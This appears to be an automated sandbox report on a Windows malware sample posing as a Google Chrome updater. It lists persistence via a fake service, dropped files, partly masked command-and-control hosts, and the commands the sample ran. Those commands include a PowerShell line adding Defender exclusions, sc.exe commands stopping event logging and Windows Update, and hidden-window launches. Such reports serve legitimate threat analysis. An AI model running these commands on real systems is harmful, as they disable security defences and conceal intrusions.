Technical Information
To ensure autorun and distribution
Sets the following service settings
- [HKLM\SYSTEM\CurrentControlSet\Services\GoogleUpdateTaskMachineQC] 'Start' = '00000002'
- [HKLM\SYSTEM\CurrentControlSet\Services\GoogleUpdateTaskMachineQC] 'ImagePath' = '%ALLUSERSPROFILE%\Google\Chrome\updater.exe'
Creates the following services
- 'GoogleUpdateTaskMachineQC' %ALLUSERSPROFILE%\Google\Chrome\updater.exe
Malicious functions
To complicate detection of its presence in the operating system,
blocks the following features:
- Windows Event Logging
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData,$env:windir) -ExclusionExtension @('.exe','.dll') -Force
Injects code into
the following system processes:
- <SYSTEM32>\conhost.exe
- %WINDIR%\explorer.exe
Searches for windows to
detect analytical utilities:
- ClassName: 'FilemonClass', WindowName: ''
- ClassName: '', WindowName: 'File Monitor - Sysinternals: www.sysinternals.com'
- ClassName: 'PROCMON_WINDOW_CLASS', WindowName: ''
- ClassName: '', WindowName: 'Process Monitor - Sysinternals: www.sysinternals.com'
- ClassName: 'RegmonClass', WindowName: ''
Modifies file system
Creates the following files
- nul
- %TEMP%\winupdate_20251225_085403_5b5d1126fff5\runtime.zip
- %TEMP%\winupdate_20251225_085403_5b5d1126fff5\cmake.zip
- %TEMP%\winupdate_20251225_085403_5b5d1126fff5\updater.exe
- %TEMP%\__psscriptpolicytest_31ld2uf3.nl4.ps1
- %TEMP%\__psscriptpolicytest_o2e5husq.yfz.psm1
- %TEMP%\content\4840-2940-updater.exe-08-54-10-884.dump
- %TEMP%\nqr20poh\nqr20poh.0.cs
- %TEMP%\nqr20poh\nqr20poh.cmdline
- %TEMP%\nqr20poh\nqr20poh.out
- %TEMP%\nqr20poh\cscd9f7fa5913f4bbfac242d80e62aaa8a.tmp
- %TEMP%\res9a4c.tmp
- %TEMP%\nqr20poh\nqr20poh.dll
- %TEMP%\content\4840-2940-updater.exe-08-54-11-883.dump
- %TEMP%\content\4840-2940-updater.exe-08-54-12-262.dump
- %TEMP%\content\4840-2940-updater.exe-08-54-12-331.dump
- %TEMP%\content\4840-2940-updater.exe-08-54-12-532.dump
- %TEMP%\content\4840-2940-updater.exe-08-54-12-579.dump
- %TEMP%\__psscriptpolicytest_r2swqzch.xbi.ps1
- %TEMP%\__psscriptpolicytest_cplclfzo.lge.psm1
- %TEMP%\content\4840-2940-updater.exe-08-54-13-081.dump
- %TEMP%\content\4840-2940-updater.exe-08-54-13-103.dump
- %TEMP%\content\4840-2940-updater.exe-08-54-13-266.dump
- %TEMP%\content\4840-2940-updater.exe-08-54-13-420.dump
- %TEMP%\content\4840-2940-updater.exe-08-54-13-552.dump
- %TEMP%\content\4840-2940-updater.exe-08-54-13-637.dump
- %TEMP%\content\4840-2940-updater.exe-08-54-13-880.dump
- %TEMP%\content\4840-2940-updater.exe-08-54-13-943.dump
- %TEMP%\content\4840-2940-updater.exe-08-54-13-972.dump
- %TEMP%\content\4840-2940-updater.exe-08-54-14-006.dump
- %TEMP%\content\4840-2940-updater.exe-08-54-14-038.dump
- %LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\updater.exe.log
- %ALLUSERSPROFILE%\neptune\extracted\root1.exe
- %ALLUSERSPROFILE%\neptune\extracted\root2.exe
- %ALLUSERSPROFILE%\neptune\extracted\root3.exe
- %TEMP%\_mei36522\vcruntime140.dll
- %TEMP%\_mei36522\vcruntime140_1.dll
- %TEMP%\_mei36522\_asyncio.pyd
- %TEMP%\_mei36522\_bz2.pyd
- %TEMP%\_mei36522\_ctypes.pyd
- %TEMP%\_mei36522\_decimal.pyd
- %TEMP%\_mei36522\_hashlib.pyd
- %TEMP%\_mei36522\_lzma.pyd
- %TEMP%\_mei36522\_multiprocessing.pyd
- %TEMP%\_mei36522\_overlapped.pyd
- %TEMP%\_mei36522\_queue.pyd
- %TEMP%\_mei36522\_socket.pyd
- %TEMP%\_mei36522\_ssl.pyd
- %TEMP%\_mei36522\api-ms-win-core-console-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-core-datetime-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-core-debug-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-core-errorhandling-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-core-file-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-core-file-l1-2-0.dll
- %TEMP%\_mei36522\api-ms-win-core-file-l2-1-0.dll
- %TEMP%\_mei36522\api-ms-win-core-handle-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-core-heap-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-core-interlocked-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-core-libraryloader-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-core-localization-l1-2-0.dll
- %TEMP%\_mei36522\api-ms-win-core-memory-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-core-namedpipe-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-core-processenvironment-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-core-processthreads-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-core-processthreads-l1-1-1.dll
- %TEMP%\_mei36522\api-ms-win-core-profile-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-core-rtlsupport-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-core-string-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-core-synch-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-core-synch-l1-2-0.dll
- %TEMP%\_mei36522\api-ms-win-core-sysinfo-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-core-timezone-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-core-util-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-crt-conio-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-crt-convert-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-crt-environment-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-crt-filesystem-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-crt-heap-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-crt-locale-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-crt-math-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-crt-process-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-crt-runtime-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-crt-stdio-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-crt-string-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-crt-time-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-crt-utility-l1-1-0.dll
- %TEMP%\_mei36522\base_library.zip
- %TEMP%\_mei36522\certifi\cacert.pem
- %TEMP%\_mei36522\charset_normalizer\md.cp311-win_amd64.pyd
- %TEMP%\_mei36522\charset_normalizer\md__mypyc.cp311-win_amd64.pyd
- %TEMP%\_mei36522\libcrypto-1_1.dll
- %TEMP%\_mei36522\libffi-8.dll
- %TEMP%\_mei36522\libssl-1_1.dll
- %TEMP%\_mei36522\pyexpat.pyd
- %TEMP%\_mei36522\python311.dll
- %TEMP%\_mei36522\pywin32_system32\pywintypes311.dll
- %TEMP%\_mei36522\select.pyd
- %TEMP%\_mei36522\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\installer
- %TEMP%\_mei36522\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\license
- %TEMP%\_mei36522\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\metadata
- %TEMP%\_mei36522\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\record
- %TEMP%\_mei36522\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\wheel
- %TEMP%\_mei36522\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\top_level.txt
- %TEMP%\_mei36522\setuptools\_vendor\jaraco\text\lorem ipsum.txt
- %TEMP%\_mei36522\ucrtbase.dll
- %TEMP%\_mei36522\unicodedata.pyd
- %TEMP%\_mei36522\wheel-0.45.1.dist-info\installer
- %TEMP%\_mei36522\wheel-0.45.1.dist-info\license.txt
- %TEMP%\_mei36522\wheel-0.45.1.dist-info\metadata
- %TEMP%\_mei36522\wheel-0.45.1.dist-info\record
- %TEMP%\_mei36522\wheel-0.45.1.dist-info\wheel
- %TEMP%\_mei36522\wheel-0.45.1.dist-info\entry_points.txt
- %TEMP%\_mei36522\win32\win32crypt.pyd
- %ALLUSERSPROFILE%\google\chrome\updater.exe
- %WINDIR%\temp\__psscriptpolicytest_txlmdyrn.arp.ps1
- %WINDIR%\temp\__psscriptpolicytest_shi0cwmk.22v.psm1
- %WINDIR%\temp\content\1976-4892-powershell.exe-07-52-58-172.dump
- %WINDIR%\temp\content\1976-4892-powershell.exe-07-52-58-388.dump
- %WINDIR%\temp\content\1976-4892-powershell.exe-07-52-58-473.dump
- %WINDIR%\temp\content\1976-4892-powershell.exe-07-52-58-620.dump
- %WINDIR%\temp\content\1976-4892-powershell.exe-07-52-58-658.dump
- %WINDIR%\temp\__psscriptpolicytest_tctk4hmd.wix.ps1
- %WINDIR%\temp\__psscriptpolicytest_ymsks3bi.rgi.psm1
- %WINDIR%\temp\content\1976-4892-powershell.exe-07-52-58-842.dump
- %WINDIR%\temp\content\1976-4892-powershell.exe-07-52-58-874.dump
- %WINDIR%\temp\content\1976-4892-powershell.exe-07-52-58-937.dump
- %WINDIR%\temp\content\1976-4892-powershell.exe-07-52-59-044.dump
- %WINDIR%\temp\content\1976-4892-powershell.exe-07-52-59-181.dump
- %WINDIR%\temp\content\1976-4892-powershell.exe-07-52-59-265.dump
- %WINDIR%\temp\content\1976-4892-powershell.exe-07-52-59-393.dump
- %WINDIR%\temp\content\1976-4892-powershell.exe-07-52-59-437.dump
- %WINDIR%\temp\content\1976-4892-powershell.exe-07-52-59-469.dump
- %WINDIR%\temp\content\1976-4892-powershell.exe-07-52-59-511.dump
- %WINDIR%\temp\content\1976-4892-powershell.exe-07-52-59-551.dump
- %WINDIR%\temp\content\1976-4892-powershell.exe-07-52-59-585.dump
- %WINDIR%\temp\content\1976-4892-powershell.exe-07-52-59-617.dump
- %WINDIR%\temp\content\1976-4892-powershell.exe-07-53-00-009.dump
- %WINDIR%\temp\content\1976-4892-powershell.exe-07-53-00-062.dump
- %WINDIR%\temp\content\1976-4892-powershell.exe-07-53-00-094.dump
- %WINDIR%\temp\content\1976-4892-powershell.exe-07-53-00-109.dump
- %WINDIR%\temp\content\1976-4892-powershell.exe-07-53-00-147.dump
- %WINDIR%\temp\content\1976-4892-powershell.exe-07-53-00-179.dump
- %WINDIR%\temp\content\1976-4892-powershell.exe-07-53-00-248.dump
- <SYSTEM32>\config\systemprofile\appdata\local\microsoft\windows\powershell\startupprofiledata-noninteractive
- %WINDIR%\temp\qbafufdsigxp.sys
Deletes following files that it created itself
- %TEMP%\__psscriptpolicytest_31ld2uf3.nl4.ps1
- %TEMP%\__psscriptpolicytest_o2e5husq.yfz.psm1
- %TEMP%\res9a4c.tmp
- %TEMP%\nqr20poh\cscd9f7fa5913f4bbfac242d80e62aaa8a.tmp
- %TEMP%\nqr20poh\nqr20poh.0.cs
- %TEMP%\nqr20poh\nqr20poh.dll
- %TEMP%\nqr20poh\nqr20poh.cmdline
- %TEMP%\nqr20poh\nqr20poh.out
- %TEMP%\__psscriptpolicytest_r2swqzch.xbi.ps1
- %TEMP%\__psscriptpolicytest_cplclfzo.lge.psm1
- %TEMP%\winupdate_20251225_085403_5b5d1126fff5\updater.exe
- %TEMP%\winupdate_20251225_085403_5b5d1126fff5\runtime.zip
- %ALLUSERSPROFILE%\neptune\cmake.zip
- %TEMP%\_mei36522\api-ms-win-core-console-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-core-datetime-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-core-debug-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-core-errorhandling-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-core-file-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-core-file-l1-2-0.dll
- %TEMP%\_mei36522\api-ms-win-core-file-l2-1-0.dll
- %TEMP%\_mei36522\api-ms-win-core-handle-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-core-heap-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-core-interlocked-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-core-libraryloader-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-core-localization-l1-2-0.dll
- %TEMP%\_mei36522\api-ms-win-core-memory-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-core-namedpipe-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-core-processenvironment-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-core-processthreads-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-core-processthreads-l1-1-1.dll
- %TEMP%\_mei36522\api-ms-win-core-profile-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-core-rtlsupport-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-core-string-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-core-synch-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-core-synch-l1-2-0.dll
- %TEMP%\_mei36522\api-ms-win-core-sysinfo-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-core-timezone-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-core-util-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-crt-conio-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-crt-convert-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-crt-environment-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-crt-filesystem-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-crt-heap-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-crt-locale-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-crt-math-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-crt-process-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-crt-runtime-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-crt-stdio-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-crt-string-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-crt-time-l1-1-0.dll
- %TEMP%\_mei36522\api-ms-win-crt-utility-l1-1-0.dll
- %TEMP%\_mei36522\base_library.zip
- %TEMP%\_mei36522\certifi\cacert.pem
- %TEMP%\_mei36522\charset_normalizer\md.cp311-win_amd64.pyd
- %TEMP%\_mei36522\charset_normalizer\md__mypyc.cp311-win_amd64.pyd
- %TEMP%\_mei36522\libcrypto-1_1.dll
- %TEMP%\_mei36522\libffi-8.dll
- %TEMP%\_mei36522\libssl-1_1.dll
- %TEMP%\_mei36522\pyexpat.pyd
- %TEMP%\_mei36522\python311.dll
- %TEMP%\_mei36522\pywin32_system32\pywintypes311.dll
- %TEMP%\_mei36522\select.pyd
- %TEMP%\_mei36522\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\installer
- %TEMP%\_mei36522\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\license
- %TEMP%\_mei36522\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\metadata
- %TEMP%\_mei36522\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\record
- %TEMP%\_mei36522\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\top_level.txt
- %TEMP%\_mei36522\setuptools\_vendor\importlib_metadata-8.0.0.dist-info\wheel
- %TEMP%\_mei36522\setuptools\_vendor\jaraco\text\lorem ipsum.txt
- %TEMP%\_mei36522\ucrtbase.dll
- %TEMP%\_mei36522\unicodedata.pyd
- %TEMP%\_mei36522\vcruntime140.dll
- %TEMP%\_mei36522\vcruntime140_1.dll
- %TEMP%\_mei36522\wheel-0.45.1.dist-info\entry_points.txt
- %TEMP%\_mei36522\wheel-0.45.1.dist-info\installer
- %TEMP%\_mei36522\wheel-0.45.1.dist-info\license.txt
- %TEMP%\_mei36522\wheel-0.45.1.dist-info\metadata
- %TEMP%\_mei36522\wheel-0.45.1.dist-info\record
- %TEMP%\_mei36522\wheel-0.45.1.dist-info\wheel
- %TEMP%\_mei36522\win32\win32crypt.pyd
- %TEMP%\_mei36522\_asyncio.pyd
- %TEMP%\_mei36522\_bz2.pyd
- %TEMP%\_mei36522\_ctypes.pyd
- %TEMP%\_mei36522\_decimal.pyd
- %TEMP%\_mei36522\_hashlib.pyd
- %TEMP%\_mei36522\_lzma.pyd
- %TEMP%\_mei36522\_multiprocessing.pyd
- %TEMP%\_mei36522\_overlapped.pyd
- %TEMP%\_mei36522\_queue.pyd
- %TEMP%\_mei36522\_socket.pyd
- %TEMP%\_mei36522\_ssl.pyd
- %WINDIR%\temp\__psscriptpolicytest_txlmdyrn.arp.ps1
- %WINDIR%\temp\__psscriptpolicytest_shi0cwmk.22v.psm1
- %WINDIR%\temp\__psscriptpolicytest_tctk4hmd.wix.ps1
- %WINDIR%\temp\__psscriptpolicytest_ymsks3bi.rgi.psm1
Moves the following files
- from %TEMP%\winupdate_20251225_085403_5b5d1126fff5\cmake.zip to %ALLUSERSPROFILE%\neptune\cmake.zip
- from %ALLUSERSPROFILE%\neptune\extracted\root1.exe to %ALLUSERSPROFILE%\neptune\falcon.exe
- from %ALLUSERSPROFILE%\neptune\extracted\root2.exe to %ALLUSERSPROFILE%\neptune\summer.exe
- from %ALLUSERSPROFILE%\neptune\extracted\root3.exe to %ALLUSERSPROFILE%\neptune\dispute.exe
Network activity
Connects to
- 'po###.#atericofhal.rest':443
- 'lo#.###geonteambot.lol':8443
- 'ip##pi.com':80
- 'ra####manial.autos':187
- '45.##3.34.36':80
TCP
HTTP GET requests
- http://ip##pi.com/json/?fi###################################################
Other
- 'lo#.###geonteambot.lol':443
- 'lo#.###geonteambot.lol':8443
UDP
- DNS ASK po###.#atericofhal.rest
- DNS ASK lo#.###geonteambot.lol
- DNS ASK ip##pi.com
- DNS ASK ra####manial.autos
Miscellaneous
Searches for the following windows
- ClassName: 'Registry Monitor - Sysinternals: www.sysinternals.com' WindowName: ''
- ClassName: '18467-41' WindowName: ''
Creates and executes the following
- '%TEMP%\winupdate_20251225_085403_5b5d1126fff5\updater.exe'
- '%ALLUSERSPROFILE%\neptune\falcon.exe'
- '%ALLUSERSPROFILE%\neptune\summer.exe'
- '%ALLUSERSPROFILE%\neptune\dispute.exe'
- '%ALLUSERSPROFILE%\google\chrome\updater.exe'
Restarts the analyzed sample
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -WindowStyle Hidden -Command " Add-Type -Name WinAPI -Namespace Console -MemberDefinition @\" [DllImport(\"kernel32.dll\")] public static extern IntPtr GetConsoleWindow(); ...
- '<SYSTEM32>\tasklist.exe' /fo csv /nh
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -Command " try { $process = Start-Process -FilePath \"%TEMP%\WinUpdate_20251225_085403_5b5d1126fff5\updater.exe\" -Verb RunAs -WindowStyle Hidden -PassThru -ErrorAct...
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\nqr20poh\nqr20poh.cmdline"
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9A4C.tmp" "%TEMP%\nqr20poh\CSCD9F7FA5913F4BBFAC242D80E62AAA8A.TMP"
- '<SYSTEM32>\attrib.exe' +h %ALLUSERSPROFILE%\Neptune
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -Command " try { Start-Process -FilePath \"%ALLUSERSPROFILE%\Neptune\falcon.exe\" -WindowStyle Hidden -PassThru } catch {}"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -Command " try { Start-Process -FilePath \"%ALLUSERSPROFILE%\Neptune\summer.exe\" -WindowStyle Hidden -PassThru } catch {}"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -Command " try { Start-Process -FilePath \"%ALLUSERSPROFILE%\Neptune\dispute.exe\" -WindowStyle Hidden -PassThru } catch {}"
- '<SYSTEM32>\cmd.exe' /c "cmd /c ping 127.0.0.1 -n 3 > nul & del /f /q "%ALLUSERSPROFILE%\Neptune\dispute.exe""
- '<SYSTEM32>\cmd.exe' /c ping 127.0.0.1 -n 3
- '<SYSTEM32>\ping.exe' 127.0.0.1 -n 3
- '<SYSTEM32>\cmd.exe' /c wusa /uninstall /kb:890830 /quiet /norestart
- '<SYSTEM32>\sc.exe' stop UsoSvc
- '<SYSTEM32>\sc.exe' stop WaaSMedicSvc
- '<SYSTEM32>\wusa.exe' /uninstall /kb:890830 /quiet /norestart
- '<SYSTEM32>\sc.exe' stop wuauserv
- '<SYSTEM32>\sc.exe' stop bits
- '<SYSTEM32>\sc.exe' stop dosvc
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-ac 0
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-dc 0
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-ac 0
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-dc 0
- '<SYSTEM32>\sc.exe' delete "GoogleUpdateTaskMachineQC"
- '<SYSTEM32>\sc.exe' create "GoogleUpdateTaskMachineQC" binpath= "%ALLUSERSPROFILE%\Google\Chrome\updater.exe" start= "auto"
- '<SYSTEM32>\sc.exe' stop eventlog
- '<SYSTEM32>\sc.exe' start "GoogleUpdateTaskMachineQC"
- '%WINDIR%\explorer.exe' SXGaBh4b6qNQIWXs Gruj7gJhahEJ2xHHXzbHcRyxK8osk1GDV+B+kwwjr2rGNRxFkxFHEyclg+i5OfUcHfjUXYdmMVgnmUGs3kPiE3/m8cZIx2qcUYsOmrOVu2ummzt4W9d0HL0dG9UjoEq3l+FAWHVHE2RDMrgL2K02cgiBoGAtS8gCiSMZA9q1PmIL8u4s...
- '<Full path to file>' <Full path to file>' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -WindowStyle Hidden -Command " Add-Type -Name WinAPI -Namespace Console -MemberDefinition @\" [DllImport(\"kernel32.dll\")] public static extern IntPtr GetConsoleWindow(); ...' (with hidden window)
- '<SYSTEM32>\tasklist.exe' /fo csv /nh' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -Command " try { $process = Start-Process -FilePath \"%TEMP%\WinUpdate_20251225_085403_5b5d1126fff5\updater.exe\" -Verb RunAs -WindowStyle Hidden -PassThru -ErrorAct...' (with hidden window)
- '%TEMP%\winupdate_20251225_085403_5b5d1126fff5\updater.exe' ' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\nqr20poh\nqr20poh.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES9A4C.tmp" "%TEMP%\nqr20poh\CSCD9F7FA5913F4BBFAC242D80E62AAA8A.TMP"' (with hidden window)
- '<SYSTEM32>\attrib.exe' +h %ALLUSERSPROFILE%\Neptune' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -Command " try { Start-Process -FilePath \"%ALLUSERSPROFILE%\Neptune\falcon.exe\" -WindowStyle Hidden -PassThru } catch {}"' (with hidden window)
- '%ALLUSERSPROFILE%\neptune\falcon.exe' ' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -Command " try { Start-Process -FilePath \"%ALLUSERSPROFILE%\Neptune\summer.exe\" -WindowStyle Hidden -PassThru } catch {}"' (with hidden window)
- '%ALLUSERSPROFILE%\neptune\summer.exe' ' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -Command " try { Start-Process -FilePath \"%ALLUSERSPROFILE%\Neptune\dispute.exe\" -WindowStyle Hidden -PassThru } catch {}"' (with hidden window)
- '%ALLUSERSPROFILE%\neptune\dispute.exe' ' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "cmd /c ping 127.0.0.1 -n 3 > nul & del /f /q "%ALLUSERSPROFILE%\Neptune\dispute.exe""' (with hidden window)
